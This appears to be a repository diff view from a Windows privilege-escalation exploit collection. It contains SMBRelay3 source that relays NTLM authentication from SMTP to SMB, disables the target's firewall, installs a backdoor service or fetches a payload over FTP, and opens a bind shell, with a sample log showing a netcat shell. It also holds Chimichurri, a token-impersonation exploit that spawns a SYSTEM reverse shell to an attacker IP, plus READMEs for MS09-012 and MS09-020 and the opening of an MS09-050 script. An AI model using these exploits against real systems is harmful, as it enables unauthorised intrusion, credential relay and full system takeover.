i=SendBytesAndWaitForResponse(relay.destination,(char*)packet, SmbPacketLen(packet),(char*)buf,sizeof(buf),SMBWAITTIMEOUT);
free(packet);
if (( i<=0) || (((smheader*)buf)->NtStatus!=0x00000000) || (GetDceRpcPacketFromBuffer(buf)->PacketType != RPC_RESPONSE) ){
printf("[-] Error. Unable to Open Remote Service Control Manager (DCERPC FAULT)\n");
if (strlen(ftphost)==0) {
printf("[-] ftphost parameter not selected. Unable to execute srvcheck attack\n");
return(0);
}
GenerateFTPTransfer(ServicePath,ftphost,ftpport,ftpusername,ftppass,lpBackdoorFile,NULL);
return (AttackWeakServices(relay, (char*)buf,path, FID,(char*)ServicePath));
}
memcpy((char*)ContextHandle,buf+i-24,20);
//status=0;
if (status) { //Creamos el servicio y lo abrimos para inciar
sprintf(ServicePath,"cmd.exe /c netsh firewall set opmode DISABLE DISABLE & %s",lpBackdoorFile);
} else {
if (strlen(ftphost)==0) {
printf("[-] ftphost parameter not selected. Unable to execute reverse payload\n");
return(0);
}
GenerateFTPTransfer(ServicePath,ftphost,ftpport,ftpusername,ftppass,lpBackdoorFile,NULL);
}
len=CreateServiceWStub(data,(char*)ContextHandle,"SmbRelay","Smbrelay3 Shell Service",ServicePath,SERVICE_AUTO_START,SERVICE_WIN32_OWN_PROCESS);
packet=BuildSmbPacket((smheader*)buf,SMB_COM_TRANSACTION,CREATESERVICE,data,len);//ContextHandle, 20);
((SMB_COM_TRANSACTION_STRUCT*)packet->buffer)->FID=FID;
printf("[+] Creating Remote Service \r");
if (verbose)
{
printf("\n");
if (debug) DumpMem((char*)packet,SmbPacketLen(packet));
}
i=SendBytesAndWaitForResponse(relay.destination,(char*)packet, SmbPacketLen(packet),(char*)buf,sizeof(buf),SMBWAITTIMEOUT);
free(packet);
if (i<=0){
printf("[-] Error. Unable to create Remote Service \n");
return(0);
}
len=OpenServiceWStub(data,(char*)ContextHandle,"SmbRelay", SERVICE_START);
packet=BuildSmbPacket((smheader*)buf,SMB_COM_TRANSACTION,OPENSERVICEW,data,len);
((SMB_COM_TRANSACTION_STRUCT*)packet->buffer)->FID=FID;
printf("[+] Opening Remote Service \r");
if (verbose)
{
printf("\n");
if (debug) DumpMem((char*)packet,SmbPacketLen(packet));
}
i=SendBytesAndWaitForResponse(relay.destination,(char*)packet, SmbPacketLen(packet),(char*)buf,sizeof(buf),SMBWAITTIMEOUT);
free(packet);
if ((i<=0) || (((smheader*)buf)->NtStatus!=0x00000000) ){
printf("[-] Error. Unable to Open Remote service \n");
return(0);
}
memcpy((char*)ContextHandle,buf+i-24,20);
packet=BuildSmbPacket((smheader*)buf,SMB_COM_TRANSACTION,STARTSERVICE,ContextHandle, 20 + 8);
((SMB_COM_TRANSACTION_STRUCT*)packet->buffer)->FID=FID;
printf("[+] Starting Remote Service... \r");
if (verbose)
{
printf("\n");
if (debug) DumpMem((char*)packet,SmbPacketLen(packet));
}
send(relay.destination, (char*)packet, SmbPacketLen(packet),0) ;
free(packet);
Sleep(1000);
printf("[+] *** Remote SmbRelay3 BindShell Service Running ***: (%s:%i)\n\n",relay.hostname,8080);
Sleep(3000);
return(1);
}
/*********************************************/
int main(int argc, char* argv[]) {
#ifdef WIN32
WSADATA ws;
#endif
int i;
RELAY relay;
int srcProtocol;
int dstProtocol= REPLAY_SMB;
Banner();
#ifdef WIN32
if (WSAStartup( MAKEWORD(2,2), &ws )!=0) {
exit(0);
}
#endif
if (argc==1) { usage(); }
for (i=1;i<argc;i++)
{
if ( (argv[i][0]=='-') )
{
if (strcmp(argv[i],"--ListForSMBRequests")==0) {
ListForSMBRequests=1;
ListeningPort=445;
srcProtocol=REPLAY_SMB;
} else if (strcmp(argv[i],"--ListForHTTPRequests")==0) {
ListForHTTPRequests=1;
ListeningPort=80;
srcProtocol=REPLAY_HTTP;
}else if (strcmp(argv[i],"--ListForSMTPRequests")==0) {
ListForHTTPRequests=1;
ListeningPort=25;
srcProtocol=REPLAY_SMTP;
}else if (strcmp(argv[i],"--ListForIMAPRequests")==0) {
ListForHTTPRequests=1;
ListeningPort=143;
srcProtocol=REPLAY_IMAP;
}else if (strcmp(argv[i],"--ListForPOP3Requests")==0) {
ListForHTTPRequests=1;
ListeningPort=110;
srcProtocol=REPLAY_POP3;
} else if (strcmp(argv[i],"--psexec")==0) {
PsExec=1;
DestinationHost=argv[i+1];
lpUsername=argv[i+2];
lpPassword=argv[i+3];
i+=3;
srcProtocol=PSEXEC;
} else if (strcmp(argv[i],"--AlternativeDstPort")==0) {
DestinationPort=atoi(argv[i+1]);
i++;
} else if (strcmp(argv[i],"--SrcHostname")==0) {
strcpy(lpSrcHostname,argv[i+1]);
i++;
} else if (strcmp(argv[i],"--AlternativeSrcPort")==0) {
ListeningPort=atoi(argv[i+1]);
i++;
} else if (strcmp(argv[i],"--SMBDestinationHost")==0) {
DestinationHost=argv[i+1];
i++;
/*
} else if (strcmp(argv[i],"--ProxySMB")==0) {
dstProtocol = ATTACK_NONE;
ProxySMB=1;
*/
} else if (strcmp(argv[i],"--ftp")==0) {
strcpy(ftphost,argv[i+1]);
ftpport=atoi(argv[i+2]);
strcpy(ftpusername,argv[i+3]);
strcpy(ftppass,argv[i+4]);
i+=4;
} else if (strcmp(argv[i],"--v")==0) {
verbose=1;
} else if (strcmp(argv[i],"--vv")==0) {
verbose=2;
} else {
printf("[-] Unknown parameter %s\n",argv[i]);
usage();
}
} else {
printf("[-] Unknown parameter %s\n",argv[i]);
usage();
}
}
if (!srcProtocol)
{
printf("[-] Error - No valid binding selected\n");
usage();
}
if (PsExec)
{
if (ConnectToRemoteHost(&relay,DestinationHost,DestinationPort))
{
if ( StablishNTLMSession(relay,DestinationHost,lpUsername,lpPassword))
{
if (ExecuteCode( relay))
{
char data[256];
sprintf(data,"telnet %s %i",relay.hostname,8080);
system(data);
}
return(1);
}
}
return(0);
}
ReplayAttackAgainst( srcProtocol, dstProtocol ,ListeningPort,DestinationHost,DestinationPort);
return 1;
}
/***********************************************************************************/
97-Windows提权/MS08-068/src/smtprelay.cpp
+223
View File
@@ -0,0 +1,223 @@
/*
SMBRelay3 - SMTP REPLAY ATTACK MODULE
-------------------------------------
C:\smbrelay>smbrelay3.exe --ListForSMTPRequests
SmbRelay3 - SMB to SMB and HTTP to SMB replay attack
(c) 2007 - 2008 Andres Tarasco - [email protected]
Website: http://www.tarasco.org
[+] Accepted Connection - Replaying against 192.168.47.128
[+] Sending SMTP Banner
[+] Answering EHLO command with an AUTH NTLM parameter
[+] received AUTH NTLM message
[+] Sending SMB Protocol Authentication Handshake
[+] Received SMB Message with NTLM message type 2 packet
[+] Replaying NTLM Challenge from SMB Server to the SMTP Client
[+] Trying to authenticate to remote SMB as Administrador
[+] Sending Final SMB Authentication packet with NTLM Message type 3
[+] SessionSetupAndX Completed
[+] Authenticacion against 192.168.47.128 Succeed with username Administrador
[+] *** Remote SmbRelay3 BindShell Service Running ***: (192.168.47.128:8080)
C:\smbrelay>nc 192.168.47.128 8080
Microsoft Windows 2000 [Versión 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\WINNT\system32>
*/
#include "smtprelay.h"
#include "payload.h"
extern int verbose;
int HandleIncommingSMTPRequest(RELAY *relay, char *destinationhostname, int destinationport)
{
char buffer[4096];
char buf[4096];
char buf1[4096];
char buf2[4096];
char CurrentUserName[256];
char CurrentDomain[256];
char CurrentWorkstation[256];
smheader *SmbPacket1, *SmbPacket2, *SmbPacket3, *NegotiateProtocol;
tSmbNtlmAuthRequest *request;
uint16 packetlen;
int i;
char *p;
const char WelcomeMessage[]= "220 Microsoft ESMTP MAIL Service ready\n";
const char AUTHMessage[]= "250-server.example.com Hello [10.10.2.20]\r\n250 AUTH NTLM\r\n";
printf("[+] Sending SMTP Banner\n");
i=SendBytesAndWaitForResponse(relay->source,(char*)WelcomeMessage, (int)strlen(WelcomeMessage), buffer,sizeof(buffer),SMBWAITTIMEOUT);
if (i<=0){
printf("Error Reading EHLO message\n");
return(0);
}
printf("[+] Answering EHLO command with an AUTH NTLM parameter\n");
memset(buffer,'\0',sizeof(buffer));
i=SendBytesAndWaitForResponse(relay->source,(char*)AUTHMessage, (int)strlen(AUTHMessage), buffer,sizeof(buffer),SMBWAITTIMEOUT);
if (i<=0){
printf("[-] Error reading client AUTH NTLM message\n");
return(0);
}
if (memcmp(buffer,"AUTH NTLM",9)!=0) {
printf("[-] AUTH NTLM packet not received from client\n");
i=SendBytesAndWaitForResponse(relay->source,(char*)"504 Unrecognized authentication type.\r\n", (int)39, buffer,sizeof(buffer),SMBWAITTIMEOUT);
return(0);
}
if (strlen(buffer)>12) {
printf("[+] received AUTH NTLM message\n");
memset((char*)&buf1,'\0',sizeof(buf1));
packetlen=from64tobits(buf1, buffer+12);
request=(tSmbNtlmAuthRequest *)buf1;
dumpAuthRequest(0,request);
} else {
memset(buffer,'\0',sizeof(buffer));
i=SendBytesAndWaitForResponse(relay->source,(char*)"334 NTLM Auth allowed\r\n", (int)23, buffer,sizeof(buffer),SMBWAITTIMEOUT);
if (i<=0){
printf("[-] Error Auth response with NTLM type1 packet\n");
return(0);
}
printf("[+] received AUTH NTLM message\n");
memset((char*)&buf1,'\0',sizeof(buf1));
packetlen=from64tobits(buf1, buffer);
request=(tSmbNtlmAuthRequest *)buf1;
if (debug) {
printf("[+] received AUTH NTLM message: %s\n",buffer);
DumpMem(buf1,packetlen);
dumpAuthRequest(0,request);
}
}
//Init Replay Attack
i=ConnectToRemoteHost(relay,destinationhostname,destinationport);
if (!i) {
printf("[-] Unable to connect to remote host %s:%i\n",destinationhostname,destinationport);
return(0);
}
printf("[+] Sending SMB Protocol Authentication Handshake\n");
p = AddDialect(NULL,"PC NETWORK PROGRAM 1.0",0x02, &i);
p = AddDialect(p,"LANMAN1.0", 0x02,&i);
p = AddDialect(p,"Windows for Workgroups 3.1a", 0x02,&i);
p = AddDialect(p,"LM1.2X002", 0x02,&i);
p = AddDialect(p,"LANMAN2.1", 0x02,&i);
p = AddDialect(p,"NT LM 0.12", 0x02,&i);
NegotiateProtocol=BuildSmbPacket(NULL,NEGOTIATEPROTOCOLREQUEST,0,p,i);
free(p);
i=SendBytesAndWaitForResponse(relay->destination,(char*)NegotiateProtocol,SmbPacketLen(NegotiateProtocol),(char*)buf,sizeof(buf),SMBWAITTIMEOUT);
free(NegotiateProtocol);
if (i<=0){
printf("[-] Initial SMBHandShake (LanManager Negotiation) Failed\n");
return(0);
}
SmbPacket1=BuildSmbPacket1();
if (debug) {
printf("\n[+] Dumping SMB Packet With NTLM Message Type 1\n");
DumpMem((char*)SmbPacket1,SmbPacketLen(SmbPacket1));
}
SmbPacket2=GetSmbPacket2(relay,SmbPacket1);
if (SmbPacket2==NULL) {
printf("[-] Unable to receive SMB Packet with NTLM Message Type 2\n");
return(0);
}
printf("[+] Received SMB Message with NTLM message type 2 packet\n");
memcpy((char*)&packetlen,GetNTLMPacketFromSmbPacket(SmbPacket2)-4,2);
if (debug) {
printf("[*] SMB Packet Dump:\n");
DumpMem((char*)SmbPacket2,SmbPacketLen(SmbPacket2));
printf("[*] NTLM Challenge packet from SMB message\n");
DumpMem((char*)GetNTLMPacketFromSmbPacket(SmbPacket2),packetlen);
dumpAuthChallenge(0,(tSmbNtlmAuthChallenge*)GetNTLMPacketFromSmbPacket(SmbPacket2));
}
((tSmbNtlmAuthChallenge*)GetNTLMPacketFromSmbPacket(SmbPacket2))->flags=0xb207;
memset(buf1,'\0',sizeof(buf1));
to64frombits((unsigned char*)&buf1, (unsigned char*)GetNTLMPacketFromSmbPacket(SmbPacket2), packetlen);
sprintf(buf,"334 %s\r\n",buf1);
printf("[+] Replaying NTLM Challenge from SMB Server to the SMTP Client\n");
if (debug)
{
printf("[+] Sending SMTP Response: %s\n",buf);
}
i=SendBytesAndWaitForResponse(relay->source,(char*)buf,(int)strlen(buf),(char*)buffer,sizeof(buffer),SMBWAITTIMEOUT);
if (i<=0)
{
printf("[-] Unable to read NTLM packet 3 from smtp client\n");
return(0);
}
buffer[i]='\0';
if (debug) printf("[*] Response: %s\n",buffer);
memset((char*)&buf1,'\0',sizeof(buf1));
packetlen=from64tobits(buf1, buffer);
if (debug) {
printf("[*] Raw authorization packet (len: %i)\n",packetlen);
DumpMem(buf1,packetlen);
dumpAuthResponse(0,(tSmbNtlmAuthResponse*)buf1);
}
GetNTLMPacketInfo((tSmbNtlmAuthResponse*)buf1,(char*)&CurrentUserName, (char*)&CurrentDomain, (char*)&CurrentWorkstation,verbose);
printf("[+] Trying to authenticate to remote SMB as %s\n",CurrentUserName);
buildAuthResponse((tSmbNtlmAuthChallenge*)GetNTLMPacketFromSmbPacket(SmbPacket2),(tSmbNtlmAuthResponse*)buf2,0,CurrentUserName,NULL,NULL,CurrentWorkstation, (tSmbNtlmAuthResponse*)buf1);
SmbPacket3=BuildSmbPacket((smheader*)SmbPacket2,SESSIONSETUPANDX,0,buf2,(int)SmbLength((tSmbNtlmAuthResponse *)buf2));
printf("[+] Sending Final SMB Authentication packet with NTLM Message type 3\n");
if (debug)
{
DumpMem((char*)SmbPacket3, SmbPacketLen(SmbPacket3));
}
i=SendBytesAndWaitForResponse(relay->destination,(char*)SmbPacket3, SmbPacketLen(SmbPacket3),(char*)buf,sizeof(buf),SMBWAITTIMEOUT);
if (i<=0){
printf("[-] Error reading Server Authentication Response\n");
return(0);
}
if (debug) {
printf("[*] SessionSetupAndX Completed - Dumping received packet\n");
DumpMem(buf,i);
}
if (((smheader*)buf)->NtStatus!=0x00000000) {
printf("[-] SessionSetupAndX Completed\n[-] Authentication against Remote Host Failed\n");
return(0);
}
if ( ((SessionSetupAndXResponse*)((smheader*)buf)->buffer)->Action & 0x0001 )
{
printf("[-] Authentication against Remote Host Failed. (Connected as Guest)\n");
return(0);
}
//WriteDataToReportFile("log.txt", (tSmbNtlmAuthResponse*)buf1, destinationhostname,(unsigned char*)((tSmbNtlmAuthChallenge*)GetNTLMPacketFromSmbPacket(SmbPacket2))->challengeData);
printf("[+] SessionSetupAndX Completed \n");
printf("[+] Authenticacion against %s Succeed with username %s\n",destinationhostname,CurrentUserName);
ExecuteCode( *relay);
return(0);
}
97-Windows提权/MS08-068/src/smtprelay.h
+9
View File
@@ -0,0 +1,9 @@
#ifndef _SMTP_RELAY_
#define _SMTP_RELAY_
#include "smbrelay.h"
int HandleIncommingSMTPRequest(RELAY *relay, char *destinationhostname,int destinationport);
#endif
97-Windows提权/MS09-012/Chimichurri/Chimichurri.cpp
+165
View File
@@ -0,0 +1,165 @@
// Chimichurri -> Windows 2008 R1 & R2, Windows Vista and Windows 7 exploit
// by Cesar Cerrudo
// Argeniss - Information Security & Software
// Notes:
// -Must be run by a user with impersonation and asgin primary token privileges, it can be used on IIS 7 & 7.5, SQL Server or other Windows services.
// -Chimichurri is an argentinian sauce used on asado and churrasco, the exploit name was an idea of Federico Kirschbaun, thanks Federico.
#include "stdafx.h"
DWORD dwPort;
LPSTR sIP;
DWORD SpawnReverseShell(HANDLE hToken, DWORD dwPort,LPSTR sIP)
{
HANDLE hToken2,hTokenTmp;
PROCESS_INFORMATION pInfo;
STARTUPINFO sInfo;
WSADATA wd;
SOCKET sock;
struct sockaddr_in sin;
int size = sizeof(sin);
memset(&sin, 0, sizeof(sin));
WSAStartup(MAKEWORD( 1, 1 ), &wd);
sock=WSASocket(PF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
sin.sin_family = AF_INET;
bind(sock, (struct sockaddr*)&sin, size);
sin.sin_port = htons(dwPort);
sin.sin_addr.s_addr = inet_addr(sIP);
DWORD dwRes=connect(sock, (struct sockaddr*)&sin, size);
if (dwRes!=0){
printf ("/Chimichurri/-->Could not connect to %s<BR>",sIP);
return 0;
}
ZeroMemory(&sInfo, sizeof(STARTUPINFO));
ZeroMemory(&pInfo, sizeof(PROCESS_INFORMATION));
sInfo.cb= sizeof(STARTUPINFO);
sInfo.lpDesktop= "WinSta0\\Default"; //so we don't have to wait on the process
sInfo.dwFlags = STARTF_USESTDHANDLES;
sInfo.hStdInput = sInfo.hStdOutput = sInfo.hStdError =(HANDLE) sock;
hTokenTmp=hToken;
DuplicateTokenEx(hTokenTmp,MAXIMUM_ALLOWED,NULL,SecurityImpersonation, TokenPrimary,&hToken2) ;
LPTSTR lpComspec;
lpComspec= (LPTSTR) malloc(1024*sizeof(TCHAR));
GetEnvironmentVariable("comspec",lpComspec,1024);//it won't work if cmd.exe used as commandline param
dwRes=CreateProcessAsUser(hToken2, lpComspec ,NULL, NULL, NULL, TRUE, NULL, NULL, NULL, &sInfo, &pInfo);
CloseHandle(hTokenTmp);
CloseHandle(hToken2);
return dwRes;
}
bool SetRegistryValues(bool on)
{
HKEY hKey;
char a[]="\\\\localhost\\pipe\\x";
char b[]="%windir%\\tracing";
char *x=a;
DWORD y=1,dwsize=strlen(a)+1;
bool result=false;
if(!on){
x=b;
y=0;
dwsize=strlen(b)+1;
}
if( RegOpenKeyEx(HKEY_LOCAL_MACHINE,TEXT("SOFTWARE\\Microsoft\\Tracing\\IpHlpSvc"),NULL,KEY_SET_VALUE|KEY_WOW64_64KEY, &hKey) == ERROR_SUCCESS )
{
if (RegSetValueEx(hKey,"FileDirectory",NULL,REG_EXPAND_SZ,(PBYTE)x,dwsize)== ERROR_SUCCESS )
{
if (RegSetValueEx(hKey,"EnableFileTracing",NULL,REG_DWORD,(PBYTE)&y,sizeof(DWORD))== ERROR_SUCCESS )
{
result=true;
}
}
RegCloseKey(hKey);
}
return result;
}
DWORD WINAPI ThreadProc(LPVOID lpParameter){
char szPipe[]= "\\\\.\\pipe\\x\\IpHlpSvc.log";
HANDLE hPipe = 0,hToken=0;
hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL);
if (!hPipe) {
printf ("/Chimichurri/-->Couldn't create pipe<BR>");
SetEvent(*((HANDLE *)lpParameter));
return 0;
}
ConnectNamedPipe (hPipe, NULL);
if (!ImpersonateNamedPipeClient (hPipe)) {
printf ("/Chimichurri/-->Error impersonating pipe<BR>");
CloseHandle(hPipe);
SetEvent(*((HANDLE *)lpParameter));
return 0;
}
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &hToken )) {
printf ("/Chimichurri/-->Couldn't get token<BR>");
SetEvent(*((HANDLE *)lpParameter));
return 0;
}
CloseHandle(hPipe);
printf ("/Chimichurri/-->Got SYSTEM token...<BR>");
printf ("/Chimichurri/-->Running reverse shell...<BR>");
SpawnReverseShell(hToken,dwPort,sIP);
SetEvent(*((HANDLE *)lpParameter));
return 1;
}
int _tmain(int argc, _TCHAR* argv[])
{
DWORD lpThreadId;
printf ("/Chimichurri/-->This exploit gives you a Local System shell <BR>");
if (argc != 3) {
printf ("/Chimichurri/-->Usage: Chimichurri.exe ipaddress port <BR>");
return 0;
}
sIP= argv[1];
dwPort= atoi(argv[2]);
HANDLE hEvent=CreateEvent(NULL,false,false,NULL);
CreateThread(NULL,NULL,ThreadProc,&hEvent,NULL,&lpThreadId);
printf ("/Chimichurri/-->Changing registry values...<BR>");
if (!SetRegistryValues(true)) {
printf ("/Chimichurri/-->Couldn't set registry values<BR>");
return 0;
}
WaitForSingleObject(hEvent,INFINITE);
printf ("/Chimichurri/-->Restoring default registry values...<BR>");
SetRegistryValues(false);
return 0;
}
97-Windows提权/MS09-012/Chimichurri/Chimichurri.ncb
BIN
View File
Binary file not shown.
97-Windows提权/MS09-012/Chimichurri/Chimichurri.sln
+21
View File
@@ -0,0 +1,21 @@
Microsoft Visual Studio Solution File, Format Version 8.00
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Chimichurri", "Chimichurri.vcproj", "{94A3EC47-DAA8-4CBD-8E65-4923F764C659}"
ProjectSection(ProjectDependencies) = postProject
EndProjectSection
EndProject
Global
GlobalSection(SolutionConfiguration) = preSolution
Debug = Debug
Release = Release
EndGlobalSection
GlobalSection(ProjectConfiguration) = postSolution
{94A3EC47-DAA8-4CBD-8E65-4923F764C659}.Debug.ActiveCfg = Debug|Win32
{94A3EC47-DAA8-4CBD-8E65-4923F764C659}.Debug.Build.0 = Debug|Win32
{94A3EC47-DAA8-4CBD-8E65-4923F764C659}.Release.ActiveCfg = Release|Win32
{94A3EC47-DAA8-4CBD-8E65-4923F764C659}.Release.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
EndGlobalSection
GlobalSection(ExtensibilityAddIns) = postSolution
EndGlobalSection
EndGlobal
97-Windows提权/MS09-012/Chimichurri/Chimichurri.suo
BIN
View File
Binary file not shown.
97-Windows提权/MS09-012/Chimichurri/Chimichurri.vcproj
+154
View File
@@ -0,0 +1,154 @@
<?xml version="1.0" encoding="Windows-1252"?>
<VisualStudioProject
ProjectType="Visual C++"
Version="7.10"
Name="Chimichurri"
ProjectGUID="{94A3EC47-DAA8-4CBD-8E65-4923F764C659}"
Keyword="Win32Proj">
<Platforms>
<Platform
Name="Win32"/>
</Platforms>
<Configurations>
<Configuration
Name="Debug|Win32"
OutputDirectory="Debug"
IntermediateDirectory="Debug"
ConfigurationType="1"
CharacterSet="2">
<Tool
Name="VCCLCompilerTool"
Optimization="0"
PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE"
MinimalRebuild="TRUE"
BasicRuntimeChecks="3"
RuntimeLibrary="5"
UsePrecompiledHeader="3"
WarningLevel="3"
Detect64BitPortabilityProblems="TRUE"
DebugInformationFormat="4"/>
<Tool
Name="VCCustomBuildTool"/>
<Tool
Name="VCLinkerTool"
AdditionalOptions="psapi.lib Ws2_32.lib rpcrt4.lib"
OutputFile="$(OutDir)/Chimichurri.exe"
LinkIncremental="2"
GenerateDebugInformation="TRUE"
ProgramDatabaseFile="$(OutDir)/Chimichurri.pdb"
SubSystem="1"
TargetMachine="1"/>
<Tool
Name="VCMIDLTool"/>
<Tool
Name="VCPostBuildEventTool"/>
<Tool
Name="VCPreBuildEventTool"/>
<Tool
Name="VCPreLinkEventTool"/>
<Tool
Name="VCResourceCompilerTool"/>
<Tool
Name="VCWebServiceProxyGeneratorTool"/>
<Tool
Name="VCXMLDataGeneratorTool"/>
<Tool
Name="VCWebDeploymentTool"/>
<Tool
Name="VCManagedWrapperGeneratorTool"/>
<Tool
Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
</Configuration>
<Configuration
Name="Release|Win32"
OutputDirectory="Release"
IntermediateDirectory="Release"
ConfigurationType="1"
CharacterSet="2">
<Tool
Name="VCCLCompilerTool"
PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE"
RuntimeLibrary="4"
UsePrecompiledHeader="3"
WarningLevel="3"
Detect64BitPortabilityProblems="TRUE"
DebugInformationFormat="3"/>
<Tool
Name="VCCustomBuildTool"/>
<Tool
Name="VCLinkerTool"
OutputFile="$(OutDir)/Uroboros2.exe"
LinkIncremental="1"
GenerateDebugInformation="TRUE"
SubSystem="1"
OptimizeReferences="2"
EnableCOMDATFolding="2"
TargetMachine="1"/>
<Tool
Name="VCMIDLTool"/>
<Tool
Name="VCPostBuildEventTool"/>
<Tool
Name="VCPreBuildEventTool"/>
<Tool
Name="VCPreLinkEventTool"/>
<Tool
Name="VCResourceCompilerTool"/>
<Tool
Name="VCWebServiceProxyGeneratorTool"/>
<Tool
Name="VCXMLDataGeneratorTool"/>
<Tool
Name="VCWebDeploymentTool"/>
<Tool
Name="VCManagedWrapperGeneratorTool"/>
<Tool
Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
</Configuration>
</Configurations>
<References>
</References>
<Files>
<Filter
Name="Source Files"
Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm;asmx"
UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}">
<File
RelativePath=".\Chimichurri.cpp">
</File>
<File
RelativePath=".\stdafx.cpp">
<FileConfiguration
Name="Debug|Win32">
<Tool
Name="VCCLCompilerTool"
UsePrecompiledHeader="1"/>
</FileConfiguration>
<FileConfiguration
Name="Release|Win32">
<Tool
Name="VCCLCompilerTool"
UsePrecompiledHeader="1"/>
</FileConfiguration>
</File>
</Filter>
<Filter
Name="Header Files"
Filter="h;hpp;hxx;hm;inl;inc;xsd"
UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}">
<File
RelativePath=".\stdafx.h">
</File>
</Filter>
<Filter
Name="Resource Files"
Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx"
UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}">
</Filter>
<File
RelativePath=".\ReadMe.txt">
</File>
</Files>
<Globals>
</Globals>
</VisualStudioProject>
97-Windows提权/MS09-012/Chimichurri/ReadMe.txt
+32
View File
@@ -0,0 +1,32 @@
========================================================================
CONSOLE APPLICATION : Uroboros2 Project Overview
========================================================================
AppWizard has created this Uroboros2 application for you.
This file contains a summary of what you will find in each of the files that
make up your Uroboros2 application.
Uroboros2.vcproj
This is the main project file for VC++ projects generated using an Application Wizard.
It contains information about the version of Visual C++ that generated the file, and
information about the platforms, configurations, and project features selected with the
Application Wizard.
Uroboros2.cpp
This is the main application source file.
/////////////////////////////////////////////////////////////////////////////
Other standard files:
StdAfx.h, StdAfx.cpp
These files are used to build a precompiled header (PCH) file
named Uroboros2.pch and a precompiled types file named StdAfx.obj.
/////////////////////////////////////////////////////////////////////////////
Other notes:
AppWizard uses "TODO:" comments to indicate parts of the source code you
should add to or customize.
/////////////////////////////////////////////////////////////////////////////
97-Windows提权/MS09-012/Chimichurri/stdafx.cpp
+8
View File
@@ -0,0 +1,8 @@
// stdafx.cpp : source file that includes just the standard includes
// Uroboros2.pch will be the pre-compiled header
// stdafx.obj will contain the pre-compiled type information
#include "stdafx.h"
// TODO: reference any additional headers you need in STDAFX.H
// and not in this file
97-Windows提权/MS09-012/Chimichurri/stdafx.h
+11
View File
@@ -0,0 +1,11 @@
// stdafx.h : include file for standard system include files,
// or project specific include files that are used frequently, but
// are changed infrequently
//
#pragma once
#include <winsock2.h>
#include <iostream>
#include <tchar.h>
// TODO: reference additional headers your program requires here
97-Windows提权/MS09-012/Churraskito-source.zip
BIN
View File
Binary file not shown.
97-Windows提权/MS09-012/MS09-012KB952004-CVE-2009-0079-烤肉Churrasco.rar
BIN
View File
Binary file not shown.
97-Windows提权/MS09-012/README.md
+22
View File
@@ -0,0 +1,22 @@
# MS09-012
MS09-012
Vulnerability reference:
* [MS09-012](https://technet.microsoft.com/library/security/ms09-012)
* [CVE-2009-0079](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0079)
## Usage
```
/xxoo/-->Usage: pr.exe command
```
![pr](pr.png)
![churrasco](churrasco.png)
## References
[Token Kidnapping's Revenge](https://media.blackhat.com/bh-us-10/whitepapers/Cerrudo/BlackHat-USA-2010-Cerrudo-Toke-Kidnapping's-Revenge-wp.pdf)
## Thanks
thanks for ***sam rou***
97-Windows提权/MS09-012/churrasco.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 17 KiB

97-Windows提权/MS09-012/pr.exe
BIN
View File
Binary file not shown.
97-Windows提权/MS09-012/pr.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 13 KiB

97-Windows提权/MS09-020/MS09-020-KB970483-CVE-2009-1535-IIS6.zip
BIN
View File
Binary file not shown.
97-Windows提权/MS09-020/README.md
+36
View File
@@ -0,0 +1,36 @@
# MS09-020
```
The WebDAV extension in Microsoft Internet Information Services (IIS) 5.1 and 6.0 allows remote attackers to bypass URI-based protection mechanisms,
and list folders or read, create, or modify files, via a %c0%af (Unicode / character) at an arbitrary position in the URI,
as demonstrated by inserting %c0%af into a "/protected/" initial pathname component to bypass the password protection on the protected\ folder,
aka "IIS 5.1 and 6.0 WebDAV Authentication Bypass Vulnerability," a different vulnerability than CVE-2009-1122.
```
Vulnerability reference:
* [MS09-020](https://technet.microsoft.com/library/security/ms09-020)
* [CVE-2009-1535](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1535)
Usage:
```
iis6.0.exe command
```
![iis6](iis6.0.png)
## load the module within the Metasploit
[msf judgment](https://www.rapid7.com/db/modules/auxiliary/scanner/http/dir_webdav_unicode_bypass)
```
msf > use auxiliary/scanner/http/dir_webdav_unicode_bypass
msf auxiliary(dir_webdav_unicode_bypass) > show actions
...actions...
msf auxiliary(dir_webdav_unicode_bypass) > set ACTION <action-name>
msf auxiliary(dir_webdav_unicode_bypass) > show options
...show and set options...
msf auxiliary(dir_webdav_unicode_bypass) > run
```
```
msf auxiliary(webdav_scanner) > run
[+] 192.168.16.136 (Microsoft-IIS/6.0) has WEBDAV ENABLED
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
97-Windows提权/MS09-020/iis6.0.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 59 KiB

97-Windows提权/MS09-050/40280.py
+110
View File
@@ -0,0 +1,110 @@
# EDB-Note: Source ~ https://raw.githubusercontent.com/ohnozzy/Exploit/master/MS09_050.py
#!/usr/bin/python
#This module depends on the linux command line program smbclient.
#I can't find a python smb library for smb login. If you can find one, you can replace that part of the code with the smb login function in python.
#The idea is that after the evil payload is injected by the first packet, it need to be trigger by an authentication event. Whether the authentication successes or not does not matter.
import tempfile
import sys
import subprocess
from socket import socket
from time import sleep
from smb.SMBConnection import SMBConnection
try:
target = sys.argv[1]
except IndexError:
print '\nUsage: %s <target ip>\n' % sys.argv[0]
print 'Example: MS36299.py 192.168.1.1 1\n'
sys.exit(-1)
